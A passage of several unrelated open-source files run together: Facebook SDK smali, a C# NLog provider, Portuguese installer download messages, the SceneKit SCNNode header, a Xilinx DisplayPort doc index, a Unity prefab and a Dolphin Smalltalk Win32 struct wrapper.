p0, Lcom/facebook/places/model/PlaceSearchRequestParams;->categories:Ljava/util/Set; invoke-static {p1}, Lcom/facebook/places/model/PlaceSearchRequestParams$Builder;->access$300(Lcom/facebook/places/model/PlaceSearchRequestParams$Builder;)Ljava/util/Set; move-result-object v1 invoke-interface {v0, v1}, Ljava/util/Set;->addAll(Ljava/util/Collection;)Z iget-object v0, p0, Lcom/facebook/places/model/PlaceSearchRequestParams;->fields:Ljava/util/Set; invoke-static {p1}, Lcom/facebook/places/model/PlaceSearchRequestParams$Builder;->access$400(Lcom/facebook/places/model/PlaceSearchRequestParams$Builder;)Ljava/util/Set; move-result-object v1 invoke-interface {v0, v1}, Ljava/util/Set;->addAll(Ljava/util/Collection;)Z return-void .end method .method synthetic constructor <init>(Lcom/facebook/places/model/PlaceSearchRequestParams$Builder;Lcom/facebook/places/model/PlaceSearchRequestParams$1;)V .locals 0 invoke-direct {p0, p1}, Lcom/facebook/places/model/PlaceSearchRequestParams;-><init>(Lcom/facebook/places/model/PlaceSearchRequestParams$Builder;)V return-void .end method # virtual methods .method public final getCategories()Ljava/util/Set; .locals 1 .annotation system Ldalvik/annotation/Signature; value = { "()", "Ljava/util/Set", "<", "Ljava/lang/String;", ">;" } .end annotation iget-object v0, p0, Lcom/facebook/places/model/PlaceSearchRequestParams;->categories:Ljava/util/Set; return-object v0 .end method .method public final getDistance()I .locals 1 iget v0, p0, Lcom/facebook/places/model/PlaceSearchRequestParams;->distance:I return v0 .end method .method public final getFields()Ljava/util/Set; .locals 1 .annotation system Ldalvik/annotation/Signature; value = { "()", "Ljava/util/Set", "<", "Ljava/lang/String;", ">;" } .end annotation iget-object v0, p0, Lcom/facebook/places/model/PlaceSearchRequestParams;->fields:Ljava/util/Set; return-object v0 .end method .method public final getLimit()I .locals 1 iget v0, p0, Lcom/facebook/places/model/PlaceSearchRequestParams;->limit:I return v0 .end method .method public final getSearchText()Ljava/lang/String; .locals 1 iget-object v0, p0, Lcom/facebook/places/model/PlaceSearchRequestParams;->searchText:Ljava/lang/String; return-object v0 .end method
{ "pile_set_name": "Github" }
using System; using Microsoft.Extensions.Logging; using NLogs = NLog; using Util.Logs.Abstractions; using Util.Logs.Formats; namespace Util.Logs.NLog { /// <summary> /// NLog日志提供程序 /// </summary> public class NLogProvider : ILogProvider { /// <summary> /// NLog日志操作 /// </summary> private readonly NLogs.ILogger _logger; /// <summary> /// 日志格式化器 /// </summary> private readonly ILogFormat _format; /// <summary> /// 初始化日志 /// </summary> /// <param name="logName">日志名称</param> /// <param name="format">日志格式化器</param> public NLogProvider( string logName, ILogFormat format = null ) { _logger = GetLogger( logName ); _format = format; } /// <summary> /// 获取NLog日志操作 /// </summary> /// <param name="logName">日志名称</param> public static NLogs.ILogger GetLogger( string logName ) { return NLogs.LogManager.GetLogger( logName ); } /// <summary> /// 日志名称 /// </summary> public string LogName => _logger.Name; /// <summary> /// 调试级别是否启用 /// </summary> public bool IsDebugEnabled => _logger.IsDebugEnabled; /// <summary> /// 跟踪级别是否启用 /// </summary> public bool IsTraceEnabled => _logger.IsTraceEnabled; /// <summary> /// 写日志 /// </summary> /// <param name="level">日志等级</param> /// <param name="content">日志内容</param> public void WriteLog( LogLevel level, ILogContent content ) { var provider = GetFormatProvider(); if( provider == null ) { _logger.Log( ConvertTo( level ), content ); return; } _logger.Log( ConvertTo( level ), provider, content ); } /// <summary> /// 转换日志等级 /// </summary> private NLogs.LogLevel ConvertTo( LogLevel level ) { switch( level ) { case LogLevel.Trace: return NLogs.LogLevel.Trace; case LogLevel.Debug: return NLogs.LogLevel.Debug; case LogLevel.Information: return NLogs.LogLevel.Info; case LogLevel.Warning: return NLogs.LogLevel.Warn; case LogLevel.Error: return NLogs.LogLevel.Error; case LogLevel.Critical: return NLogs.LogLevel.Fatal; default: return NLogs.LogLevel.Off; } } /// <summary> /// 获取格式化提供程序 /// </summary> private IFormatProvider GetFormatProvider() { if( _format == null ) return null; return new FormatProvider( _format ); } } }
{ "pile_set_name": "Github" }
[CustomMessages] pt_br.IDP_FormCaption =Baixando arquivos pt_br.IDP_FormDescription =Por favor aguarde, enquanto recebe arquivos adicionais... pt_br.IDP_TotalProgress =Progresso total pt_br.IDP_CurrentFile =Arquivo atual pt_br.IDP_File =Arquivo: pt_br.IDP_Speed =Velocidade: pt_br.IDP_Status =Estado: pt_br.IDP_ElapsedTime =Tempo decorrido: pt_br.IDP_RemainingTime =Tempo remanescente: pt_br.IDP_DetailsButton =Detalhes pt_br.IDP_HideButton =Ocultar pt_br.IDP_RetryButton =Repetir pt_br.IDP_IgnoreButton = pt_br.IDP_KBs =KB/s pt_br.IDP_MBs =MB/s pt_br.IDP_X_of_X =%.2f de %.2f pt_br.IDP_KB =KB pt_br.IDP_MB =MB pt_br.IDP_GB =GB pt_br.IDP_Initializing =Inicializando... pt_br.IDP_GettingFileInformation=Recebendo informações do arquivo... pt_br.IDP_StartingDownload =Iniciando o download... pt_br.IDP_Connecting =Conectando... pt_br.IDP_Downloading =Baixando... pt_br.IDP_DownloadComplete =Download finalizado pt_br.IDP_DownloadFailed =Falha no download pt_br.IDP_CannotConnect =Não pode conectar pt_br.IDP_CancellingDownload =Cancelando o download... pt_br.IDP_Unknown =Desconhecido pt_br.IDP_DownloadCancelled =Download cancelado pt_br.IDP_RetryNext =Verifique sua conexão e clique em 'Repetir' para tentar novamente o download dos arquivos, ou clique em 'Próximo' para continuar a instalação mesmo assim. pt_br.IDP_RetryCancel =Verifique sua conexão e clique em 'Repetir' para tentar novamente o download dos arquivos, ou clique em 'Cancel' para finalizar a Instalação. pt_br.IDP_FilesNotDownloaded = pt_br.IDP_HTTPError_X =erro HTTP %d pt_br.IDP_400 =Requisição inválida (400) pt_br.IDP_401 =Acesso negado (401) pt_br.IDP_404 =Arquivo não encontrado (404) pt_br.IDP_407 =Autenticação de proxy necessária (407) pt_br.IDP_500 =Erro interno do servidor (500) pt_br.IDP_502 =Bad Gateway (502) pt_br.IDP_503 =Serviço temporariamente indisponível (503)
{ "pile_set_name": "Github" }
// // SCNNode.h // // Copyright (c) 2012-2015 Apple Inc. All rights reserved. // #import <Foundation/Foundation.h> #import <QuartzCore/QuartzCore.h> #import <SceneKit/SCNAnimation.h> #import <SceneKit/SCNBoundingVolume.h> #import <SceneKit/SCNAction.h> NS_ASSUME_NONNULL_BEGIN @class SCNLight; @class SCNCamera; @class SCNGeometry; @class SCNSkinner; @class SCNMorpher; @class SCNConstraint; @class SCNPhysicsBody; @class SCNPhysicsField; @class SCNPhysicsBody; @protocol SCNNodeRendererDelegate; /*! @group Rendering arguments @discussion These keys are used in the 'arguments' dictionary of renderNode:renderer:arguments: and in the 'semantic' argument of -[SCNProgram setSemantic:forSymbol:options:]. Transforms are SCNMatrix4 wrapped in NSValues. */ SCN_EXTERN NSString * const SCNModelTransform; SCN_EXTERN NSString * const SCNViewTransform; SCN_EXTERN NSString * const SCNProjectionTransform; SCN_EXTERN NSString * const SCNNormalTransform; SCN_EXTERN NSString * const SCNModelViewTransform; SCN_EXTERN NSString * const SCNModelViewProjectionTransform; /*! @class SCNNode @abstract SCNNode is the model class for node-tree objects. @discussion It encapsulates the position, rotations, and other transforms of a node, which define a coordinate system. The coordinate systems of all the sub-nodes are relative to the one of their parent node. */ NS_CLASS_AVAILABLE(10_8, 8_0) @interface SCNNode : NSObject <NSCopying, NSSecureCoding, SCNAnimatable, SCNActionable, SCNBoundingVolume> #pragma mark - Creating a Node /*! @method node @abstract Creates and initializes a node instance. */ + (instancetype)node; /*! @method nodeWithGeometry: @abstract Creates and initializes a node instance with the specified geometry attached. @param geometry The geometry to attach. */ + (SCNNode *)nodeWithGeometry:(nullable SCNGeometry *)geometry; #pragma mark - Copying the Node /*! @method clone @abstract Returns a copy of the receiver. The returned instance is autoreleased. @discussion The copy is recursive: every child node will be cloned, too. For a non-recursive copy, use copy instead. The copied nodes will share their attached objects (light, geometry, camera, ...) with the original instances; if you want, for example, to change the materials of the copy independently of the original object, you'll have to copy the geometry of the node separately. */ - (instancetype)clone; /* @method flattenedClone @abstract Returns a clone of the node containing a geometry that concatenates all the geometries contained in the node hierarchy. The returned clone is autoreleased. */ - (instancetype)flattenedClone NS_AVAILABLE(10_9, 8_0); #pragma mark - Managing the Node Attributes /*! @property name @abstract Determines the name of the receiver. */ @property(nonatomic, copy, nullable) NSString *name; /*! @property light @abstract Determines the light attached to the receiver. */ @property(nonatomic, retain, nullable) SCNLight *light; /*! @property camera @abstract Determines the camera attached to the receiver. */ @property(nonatomic, retain, nullable) SCNCamera *camera; /*! @property geometry @abstract Returns the geometry attached to the receiver. */ @property(nonatomic, retain, nullable) SCNGeometry *geometry; /*! @property skinner @abstract Returns the skinner attached to the receiver. */ @property(nonatomic, retain, nullable) SCNSkinner *skinner NS_AVAILABLE(10_9, 8_0); /*! @property morpher @abstract Returns the morpher attached to the receiver. */ @property(nonatomic, retain, nullable) SCNMorpher *morpher NS_AVAILABLE(10_9, 8_0); #pragma mark - Modifying the Node's Transform /*! @property transform @abstract Determines the receiver's transform. Animatable. @discussion The transform is the combination of the position, rotation and scale defined below. So when the transform is set, the receiver's position, rotation and scale are changed to match the new transform. */ @property(nonatomic) SCNMatrix4 transform; /*! @property position @abstract Determines the receiver's position. Animatable. */ @property(nonatomic) SCNVector3 position; /*! @property rotation @abstract Determines the receiver's rotation. Animatable. @discussion The rotation is axis angle rotation. The three first components are the axis, the fourth one is the rotation (in radian). */ @property(nonatomic) SCNVector4 rotation; /*! @property orientation @abstract Determines the receiver's orientation as a unit quaternion. Animatable. */ @property(nonatomic) SCNQuaternion orientation NS_AVAILABLE(10_10, 8_0); /*! @property eulerAngles @abstract Determines the receiver's euler angles. Animatable. @dicussion Specify the intrinsic euler angles (in radians). It represents a sequence of 3 rotations about the x, y, and z axis with the following order: z, y, x (or roll, yaw, pitch). */ @property(nonatomic) SCNVector3 eulerAngles NS_AVAILABLE(10_10, 8_0); /*! @property scale @abstract Determines the receiver's scale. Animatable. */ @property(nonatomic) SCNVector3 scale; /*! @property pivot @abstract Determines the receiver's pivot. Animatable. */ @property(nonatomic) SCNMatrix4 pivot; /*! @property worldTransform @abstract Returns the receiver's world transform. @discussion A world transform is the transform relative to the scene. */ @property(nonatomic, readonly) SCNMatrix4 worldTransform; #pragma mark - Modifying the Node's Visibility /*! @property hidden @abstract Determines whether the receiver is displayed. Defaults to NO. Animatable. */ @property(nonatomic, getter=isHidden) BOOL hidden; /*! @property opacity @abstract Determines the opacity of the receiver. Default is 1. Animatable. */ @property(nonatomic) CGFloat opacity; /*! @property renderingOrder @abstract Determines the rendering order of the receiver. @discussion Nodes with greater rendering orders are rendered last. Defaults to 0. */ @property(nonatomic) NSInteger renderingOrder; /*! @property castsShadow @abstract Determines if the node is rendered in shadow maps. Defaults to YES. */ @property(nonatomic) BOOL castsShadow NS_AVAILABLE(10_10, 8_0); #pragma mark - Managing the Node Hierarchy /*! @property parentNode @abstract Returns the parent node of the receiver. */ @property(nonatomic, readonly, nullable) SCNNode *parentNode; /*! @property childNodes @abstract Returns the child node array of the receiver. */ @property(nonatomic, readonly) NSArray<SCNNode *> *childNodes; /*! @method addChildNode: @abstract Appends the node to the receiver’s childNodes array. @param child The node to be added to the receiver’s childNodes array. */ - (void)addChildNode:(SCNNode *)child; /*! @method insertChildNode:atIndex: @abstract Insert a node in the childNodes array at the specified index. @param child The node to insert. @param index Index in the childNodes array to insert the node. */ - (void)insertChildNode:(SCNNode *)child atIndex:(NSUInteger)index; /*! @method removeFromParentNode @abstract Removes the node from the childNodes array of the receiver’s parentNode. */ - (void)removeFromParentNode; /*! @method replaceChildNode:with: @abstract Remove `child' from the childNode array of the receiver and insert 'child2' if non-nil in its position. @discussion If the parentNode of `child' is not the receiver, the behavior is undefined. @param oldChild The node to replace in the childNodes array. @param newChild The new node that will replace the previous one. */ - (void)replaceChildNode:(SCNNode *)oldChild with:(SCNNode *)newChild; #pragma mark - Searching the Node Hierarchy /*! @method childNodeWithName:recursively: @abstract Returns the first node found in the node tree with the specified name. @discussion The search uses a pre-order tree traversal. @param name The name of the node you are searching for. @param recursively Set to YES if you want the search to look through the sub-nodes recursively. */ - (nullable SCNNode *)childNodeWithName:(NSString *)name recursively:(BOOL)recursively; /*! @method childNodesPassingTest: @abstract Returns the child nodes of the receiver that passes a test in a given Block. @discussion The search is recursive and uses a pre-order tree traversal. @param predicate The block to apply to child nodes of the receiver. The block takes two arguments: "child" is a child node and "stop" is a reference to a Boolean value. The block can set the value to YES to stop further processing of the node hierarchy. The stop argument is an out-only argument. You should only ever set this Boolean to YES within the Block. The Block returns a Boolean value that indicates whether "child" passed the test. */ - (NSArray<SCNNode *> *)childNodesPassingTest:(BOOL (^)(SCNNode *child, BOOL *stop))predicate; /*! @method enumerateChildNodesUsingBlock: @abstract Executes a given block using each child node under the receiver. @discussion The search is recursive and uses a pre-order tree traversal. @param block The block to apply to child nodes of the receiver. The block takes two arguments: "child" is a child node and "stop" is a reference to a Boolean value. The block can set the value to YES to stop further processing of the node hierarchy. The stop argument is an out-only argument. You should only ever set this Boolean to YES within the Block. */ - (void)enumerateChildNodesUsingBlock:(void (^)(SCNNode *child, BOOL *stop))block NS_AVAILABLE(10_10, 8_0); #pragma mark - Converting Between Node Coordinate Systems /*! @method convertPosition:toNode: @abstract Converts a position from the receiver’s coordinate system to that of the specified node. @param position A position specified in the local coordinate system of the receiver. @param node The node into whose coordinate system "position" is to be converted. If "node" is nil, this method instead converts to world coordinates. */ - (SCNVector3)convertPosition:(SCNVector3)position toNode:(nullable SCNNode *)node NS_AVAILABLE(10_9, 8_0); /*! @method convertPosition:fromNode: @abstract Converts a position from the coordinate system of a given node to that of the receiver. @param position A position specified in the local coordinate system of "node". @param node The node from whose coordinate system "position" is to be converted. If "node" is nil, this method instead converts from world coordinates. */ - (SCNVector3)convertPosition:(SCNVector3)position fromNode:(nullable SCNNode *)node NS_AVAILABLE(10_9, 8_0); /*! @method convertTransform:toNode: @abstract Converts a transform from the receiver’s coordinate system to that of the specified node. @param transform A transform specified in the local coordinate system of the receiver. @param node The node into whose coordinate system "transform" is to be converted. If "node" is nil, this method instead converts to world coordinates. */ - (SCNMatrix4)convertTransform:(SCNMatrix4)transform toNode:(nullable SCNNode *)node NS_AVAILABLE(10_9, 8_0); /*! @method convertTransform:fromNode: @abstract Converts a transform from the coordinate system of a given node to that of the receiver. @param transform A transform specified in the local coordinate system of "node". @param node The node from whose coordinate system "transform" is to be converted. If "node" is nil, this method instead converts from world coordinates. */ - (SCNMatrix4)convertTransform:(SCNMatrix4)transform fromNode:(nullable SCNNode *)node NS_AVAILABLE(10_9, 8_0); #pragma mark - Managing the SCNNode's physics body /*! @property physicsBody @abstract The description of the physics body of the receiver. @discussion Default is nil. */ @property(nonatomic, retain, nullable) SCNPhysicsBody *physicsBody NS_AVAILABLE(10_10, 8_0); #pragma mark - Managing the Node's Physics Field /*! @property physicsField @abstract The description of the physics field of the receiver. @discussion Default is nil. */ @property(nonatomic, retain, nullable) SCNPhysicsField *physicsField NS_AVAILABLE(10_10, 8_0); #pragma mark - Managing the Node's Constraints /*! @property constraints @abstract An array of SCNConstraint that are applied to the receiver. @discussion Adding or removing a constraint can be implicitly animated based on the current transaction. */ @property(copy, nullable) NSArray<SCNConstraint *> *constraints NS_AVAILABLE(10_9, 8_0); #pragma mark - Accessing the Node's Filters /*! @property filters @abstract An array of Core Image filters that are applied to the rendering of the receiver and its child nodes. Animatable. @discussion Defaults to nil. Filter properties should be modified by calling setValue:forKeyPath: on each node that the filter is attached to. If the inputs of the filter are modified directly after the filter is attached to a node, the behavior is undefined. */ @property(nonatomic, copy, nullable) NSArray<CIFilter *> *filters NS_AVAILABLE(10_9, 8_0); #pragma mark - Accessing the Presentation Node /*! @method presentationNode @abstract Returns the presentation node. @discussion Returns a copy of the node containing all the properties as they were at the start of the current transaction, with any active animations applied. This gives a close approximation to the version of the node that is currently displayed. The effect of attempting to modify the returned node in any way is undefined. The returned node has no parent and no child nodes. */ @property(nonatomic, readonly) SCNNode *presentationNode; #pragma mark - Pause /*! @property paused @abstract Controls whether or not the node's actions and animations are updated or paused. Defaults to NO. */ @property(nonatomic, getter=isPaused) BOOL paused NS_AVAILABLE(10_10, 8_0); #pragma mark - Overriding the Rendering with Custom OpenGL Code /*! @property rendererDelegate @abstract Specifies the receiver's renderer delegate object. @discussion Setting a renderer delegate prevents the SceneKit renderer from drawing the node and lets you use custom OpenGL code instead. The preferred way to customize the rendering is to tweak the material properties of the different materials of the node's geometry. SCNMaterial conforms to the SCNShadable protocol and allows for more advanced rendering using GLSL. You would typically use a renderer delegate with a node that has no geometry and only serves as a location in space. An example would be attaching a particle system to that node and render it with custom OpenGL code. */ @property(nonatomic, assign, nullable) id <SCNNodeRendererDelegate> rendererDelegate; #pragma mark - Hit Testing in the Node /*! @method hitTestWithSegmentFromPoint:toPoint:options: @abstract Returns an array of SCNHitTestResult for each node in the receiver's sub tree that intersects the specified segment. @param pointA The first point of the segment relative to the receiver. @param pointB The second point of the segment relative to the receiver. @param options Optional parameters (see the "Hit test options" section in SCNSceneRenderer.h for the available options). @discussion See SCNSceneRenderer.h for a screen-space hit testing method. */ - (NSArray<SCNHitTestResult *> *)hitTestWithSegmentFromPoint:(SCNVector3)pointA toPoint:(SCNVector3)pointB options:(nullable NSDictionary<NSString *, id> *)options NS_AVAILABLE(10_9, 8_0); #pragma mark - Categories /*! @property categoryBitMask @abstract Defines what logical 'categories' the receiver belongs too. Defaults to 1. @discussion Categories can be used to exclude nodes from the influence of a given light (see SCNLight's categoryBitMask). It can also be used to include/exclude nodes from render passes (see SCNTechnique.h). */ @property(nonatomic) NSUInteger categoryBitMask NS_AVAILABLE(10_10, 8_0); @end /*! @category NSObject (SCNNodeRendererDelegate) @abstract The SCNNodeRendererDelegate protocol declares the methods that an instance of SCNNode invokes to let a delegate customize its rendering. */ @protocol SCNNodeRendererDelegate <NSObject> @optional /*! @method renderNode:renderer:arguments: @abstract Invoked when a node is rendered. @discussion The preferred way to customize the rendering is to tweak the material properties of the different materials of the node's geometry. SCNMaterial conforms to the SCNShadable protocol and allows for more advanced rendering using GLSL. You would typically use a renderer delegate with a node that has no geometry and only serves as a location in space. An example would be attaching a particle system to that node and render it with custom OpenGL code. Only drawing calls and the means to achieve them are supposed to be performed during the renderer delegate callback, any changes in the model (nodes, geometry...) would involve unexpected results. @param node The node to render. @param renderer The scene renderer to render into. @param arguments A dictionary that can have any of the entries described at the beginning of this file. */ - (void)renderNode:(SCNNode *)node renderer:(SCNRenderer *)renderer arguments:(NSDictionary<NSString *, NSValue *> *)arguments; @end NS_ASSUME_NONNULL_END
{ "pile_set_name": "Github" }
var xdppsu_8c = [ [ "XDpPsu_TrainingState", "xdppsu_8c.html#aa3659e6349a3fc69433bf9b12673bdff", [ [ "XDPPSU_TS_CLOCK_RECOVERY", "xdppsu_8c.html#aa3659e6349a3fc69433bf9b12673bdffaa04d78e4186517430b6188993cc8bb19", null ], [ "XDPPSU_TS_CHANNEL_EQUALIZATION", "xdppsu_8c.html#aa3659e6349a3fc69433bf9b12673bdffaedd01dda01109c74cdafc8d00b70c92b", null ], [ "XDPPSU_TS_ADJUST_LINK_RATE", "xdppsu_8c.html#aa3659e6349a3fc69433bf9b12673bdffac8abb49b23d298fec9d39177244c30e1", null ], [ "XDPPSU_TS_ADJUST_LANE_COUNT", "xdppsu_8c.html#aa3659e6349a3fc69433bf9b12673bdffa02720440d0e1e6e67b39028ab32c7004", null ], [ "XDPPSU_TS_FAILURE", "xdppsu_8c.html#aa3659e6349a3fc69433bf9b12673bdffad266dd7b0bdf4e5a47fad25415add4d8", null ], [ "XDPPSU_TS_SUCCESS", "xdppsu_8c.html#aa3659e6349a3fc69433bf9b12673bdffad9811e3dea78cdc0188e3477c98fed93", null ] ] ], [ "XDpPsu_AuxRead", "xdppsu_8c.html#ab9d129accbf09c6474ba5e1fac854983", null ], [ "XDpPsu_AuxWrite", "xdppsu_8c.html#a619df5cbd94b7f0459e62b55a34e5df5", null ], [ "XDpPsu_CfgInitialize", "xdppsu_8c.html#a619d7de707e733f244b8eeaf8dbc8377", null ], [ "XDpPsu_CfgMainLinkMax", "xdppsu_8c.html#a3d4cefedd9d272f58c7927b72add609d", null ], [ "XDpPsu_CheckLinkStatus", "xdppsu_8c.html#ae723bbc24a4dbce124cdd92979af27af", null ], [ "XDpPsu_EnableMainLink", "xdppsu_8c.html#ad113ed848850849d07fae7ce163a8a62", null ], [ "XDpPsu_EstablishLink", "xdppsu_8c.html#abe31bd9b101b094a40eff13ef032ea44", null ], [ "XDpPsu_GetRxCapabilities", "xdppsu_8c.html#a0a935cce246619f8f43ea0794ed9fa8e", null ], [ "XDpPsu_IicRead", "xdppsu_8c.html#a17608072027dcae9a885b07ad2c25690", null ], [ "XDpPsu_IicWrite", "xdppsu_8c.html#a22050229650e6ee5ac11242e5387e8e4", null ], [ "XDpPsu_InitializeTx", "xdppsu_8c.html#a2602de9c767cd981896326433a3c2570", null ], [ "XDpPsu_IsConnected", "xdppsu_8c.html#aee45a79c993e3bcad636dddf3121aeab", null ], [ "XDpPsu_ResetPhy", "xdppsu_8c.html#a6eec1f08aa677fac3467a9d34b54589c", null ], [ "XDpPsu_SetDownspread", "xdppsu_8c.html#a7836168f290562156a24fb51762acde4", null ], [ "XDpPsu_SetEnhancedFrameMode", "xdppsu_8c.html#a2ec5ae4af1f5232fc86116d457045997", null ], [ "XDpPsu_SetLaneCount", "xdppsu_8c.html#a868ca9bd2184707f3929e6f7e695cc93", null ], [ "XDpPsu_SetLinkRate", "xdppsu_8c.html#a68384c6a808dff1f2e68e7611057a548", null ], [ "XDpPsu_SetScrambler", "xdppsu_8c.html#a690be0eee00d0c06370f88fdfbfdfb75", null ] ];
{ "pile_set_name": "Github" }
%YAML 1.1 %TAG !u! tag:unity3d.com,2011: --- !u!1 &100000 GameObject: m_ObjectHideFlags: 0 m_PrefabParentObject: {fileID: 0} m_PrefabInternal: {fileID: 100100000} serializedVersion: 4 m_Component: - 4: {fileID: 400000} - 33: {fileID: 3300000} - 23: {fileID: 2300000} - 65: {fileID: 6500000} m_Layer: 0 m_Name: WallPrototype08x08x01 m_TagString: Untagged m_Icon: {fileID: 0} m_NavMeshLayer: 0 m_StaticEditorFlags: 0 m_IsActive: 1 --- !u!4 &400000 Transform: m_ObjectHideFlags: 1 m_PrefabParentObject: {fileID: 0} m_PrefabInternal: {fileID: 100100000} m_GameObject: {fileID: 100000} m_LocalRotation: {x: 8.14603425e-08, y: 0, z: -0, w: 1} m_LocalPosition: {x: -0, y: 0, z: 0} m_LocalScale: {x: 1, y: 1, z: 1} m_Children: [] m_Father: {fileID: 0} m_RootOrder: 0 --- !u!23 &2300000 MeshRenderer: m_ObjectHideFlags: 1 m_PrefabParentObject: {fileID: 0} m_PrefabInternal: {fileID: 100100000} m_GameObject: {fileID: 100000} m_Enabled: 1 m_CastShadows: 0 m_ReceiveShadows: 1 m_LightmapIndex: 255 m_LightmapIndexDynamic: 255 m_LightmapTilingOffset: {x: 1, y: 1, z: 0, w: 0} m_LightmapTilingOffsetDynamic: {x: 1, y: 1, z: 0, w: 0} m_Materials: - {fileID: 2100000, guid: 76ff537c8e1a84345868e6aeee938ab3, type: 2} m_SubsetIndices: m_StaticBatchRoot: {fileID: 0} m_UseLightProbes: 0 m_ReflectionProbeUsage: 1 m_ProbeAnchor: {fileID: 0} m_ScaleInLightmap: 1 m_PreserveUVs: 0 m_AutoUVMaxDistance: .5 m_AutoUVMaxAngle: 89 m_LightmapParameters: {fileID: 0} m_SortingLayerID: 0 m_SortingOrder: 0 --- !u!33 &3300000 MeshFilter: m_ObjectHideFlags: 1 m_PrefabParentObject: {fileID: 0} m_PrefabInternal: {fileID: 100100000} m_GameObject: {fileID: 100000} m_Mesh: {fileID: 4300002, guid: b5290684820a94548bedb95083785116, type: 3} --- !u!65 &6500000 BoxCollider: m_ObjectHideFlags: 1 m_PrefabParentObject: {fileID: 0} m_PrefabInternal: {fileID: 100100000} m_GameObject: {fileID: 100000} m_Material: {fileID: 0} m_IsTrigger: 0 m_Enabled: 1 serializedVersion: 2 m_Size: {x: 6.00002909, y: 6.00006771, z: 1.00000858} m_Center: {x: 1.21593475e-05, y: 2.99979687, z: .499987811} --- !u!1001 &100100000 Prefab: m_ObjectHideFlags: 1 serializedVersion: 2 m_Modification: m_TransformParent: {fileID: 0} m_Modifications: [] m_RemovedComponents: [] m_ParentPrefab: {fileID: 0} m_RootGameObject: {fileID: 100000} m_IsPrefabParent: 1
{ "pile_set_name": "Github" }
"Filed out from Dolphin Smalltalk 7"! ENHMETARECORD subclass: #EMRPLGBLT instanceVariableNames: '' classVariableNames: '_OffsetOf_aptlDest _OffsetOf_cbBitsMask _OffsetOf_cbBitsSrc _OffsetOf_cbBmiMask _OffsetOf_cbBmiSrc _OffsetOf_crBkColorSrc _OffsetOf_cxSrc _OffsetOf_cySrc _OffsetOf_iUsageMask _OffsetOf_iUsageSrc _OffsetOf_offBitsMask _OffsetOf_offBitsSrc _OffsetOf_offBmiMask _OffsetOf_offBmiSrc _OffsetOf_rclBounds _OffsetOf_xformSrc _OffsetOf_xMask _OffsetOf_xSrc _OffsetOf_yMask _OffsetOf_ySrc' poolDictionaries: '' classInstanceVariableNames: ''! EMRPLGBLT guid: (GUID fromString: '{cdae1f25-39c4-4555-985b-3b2cd197d3e0}')! EMRPLGBLT addClassConstant: '_OffsetOf_aptlDest' value: 16r18! EMRPLGBLT addClassConstant: '_OffsetOf_cbBitsMask' value: 16r88! EMRPLGBLT addClassConstant: '_OffsetOf_cbBitsSrc' value: 16r6C! EMRPLGBLT addClassConstant: '_OffsetOf_cbBmiMask' value: 16r80! EMRPLGBLT addClassConstant: '_OffsetOf_cbBmiSrc' value: 16r64! EMRPLGBLT addClassConstant: '_OffsetOf_crBkColorSrc' value: 16r58! EMRPLGBLT addClassConstant: '_OffsetOf_cxSrc' value: 16r38! EMRPLGBLT addClassConstant: '_OffsetOf_cySrc' value: 16r3C! EMRPLGBLT addClassConstant: '_OffsetOf_iUsageMask' value: 16r78! EMRPLGBLT addClassConstant: '_OffsetOf_iUsageSrc' value: 16r5C! EMRPLGBLT addClassConstant: '_OffsetOf_offBitsMask' value: 16r84! EMRPLGBLT addClassConstant: '_OffsetOf_offBitsSrc' value: 16r68! EMRPLGBLT addClassConstant: '_OffsetOf_offBmiMask' value: 16r7C! EMRPLGBLT addClassConstant: '_OffsetOf_offBmiSrc' value: 16r60! EMRPLGBLT addClassConstant: '_OffsetOf_rclBounds' value: 16r8! EMRPLGBLT addClassConstant: '_OffsetOf_xformSrc' value: 16r40! EMRPLGBLT addClassConstant: '_OffsetOf_xMask' value: 16r70! EMRPLGBLT addClassConstant: '_OffsetOf_xSrc' value: 16r30! EMRPLGBLT addClassConstant: '_OffsetOf_yMask' value: 16r74! EMRPLGBLT addClassConstant: '_OffsetOf_ySrc' value: 16r34! EMRPLGBLT comment: '<EMRPLGBLT> is an <ExternalStructure> class to wrap the struct ''Win32.EMRPLGBLT'' from type information in the ''Win32 API (ANSI). Derived from Bruce McKinney´s Hardcore Visual Basic Type Library'' library. The type library contains no documentation for this struct Warning: This comment was automatically generated from the struct''s type information, but any changes made here will not be overwritten if the wrapper class is regenerated. IDL definition follows: typedef [uuid(CDAE1F25-39C4-4555-985B-3B2CD197D3E0)] struct tagEMRPLGBLT { EMR EMR; [helpstring("Inclusive-inclusive bounds in device units")] RECTL rclBounds; POINTL aptlDest[3]; long xSrc; long ySrc; long cxSrc; long cySrc; [helpstring("Source DC transform")] XFORM xformSrc; [helpstring("Source DC BkColor in RGB")] COLORREF crBkColorSrc; [helpstring("Source bitmap info color table usage")] DWORD iUsageSrc; [helpstring("Offset to the source BITMAPINFO structure")] DWORD offBmiSrc; [helpstring("Size of the source BITMAPINFO structure")] DWORD cbBmiSrc; [helpstring("Offset to the source bitmap bits")] DWORD offBitsSrc; [helpstring("Size of the source bitmap bits")] DWORD cbBitsSrc; long xMask; long yMask; [helpstring("Mask bitmap info color table usage")] DWORD iUsageMask; [helpstring("Offset to the mask BITMAPINFO structure if any")] DWORD offBmiMask; [helpstring("Size of the mask BITMAPINFO structure if any")] DWORD cbBmiMask; [helpstring("Offset to the mask bitmap bits if any")] DWORD offBitsMask; [helpstring("Size of the mask bitmap bits if any")] DWORD cbBitsMask; } EMRPLGBLT; '! !EMRPLGBLT categoriesForClass!Win32-Structs! ! !EMRPLGBLT methodsFor! aptlDest "Answer the <StructureArray> value of the receiver's 'aptlDest' field." ^StructureArray fromAddress: bytes yourAddress + _OffsetOf_aptlDest length: 3 elementClass: POINTL! aptlDest: aStructureArrayOfPOINTL "Set the receiver's 'aptlDest' field to the value of the argument, aStructureArrayOfPOINTL" | size | size := aStructureArrayOfPOINTL byteSize min: ##(3 * POINTL basicByteSize). aStructureArrayOfPOINTL replaceBytesOf: bytes from: ##(_OffsetOf_aptlDest + 1) to: _OffsetOf_aptlDest + size startingAt: 1! cbBitsMask "Answer the <Integer> value of the receiver's 'cbBitsMask' field." ^bytes dwordAtOffset: _OffsetOf_cbBitsMask! cbBitsMask: anInteger "Set the receiver's 'cbBitsMask' field to the value of the argument, anInteger" bytes dwordAtOffset: _OffsetOf_cbBitsMask put: anInteger! cbBitsSrc "Answer the <Integer> value of the receiver's 'cbBitsSrc' field." ^bytes dwordAtOffset: _OffsetOf_cbBitsSrc! cbBitsSrc: anInteger "Set the receiver's 'cbBitsSrc' field to the value of the argument, anInteger" bytes dwordAtOffset: _OffsetOf_cbBitsSrc put: anInteger! cbBmiMask "Answer the <Integer> value of the receiver's 'cbBmiMask' field." ^bytes 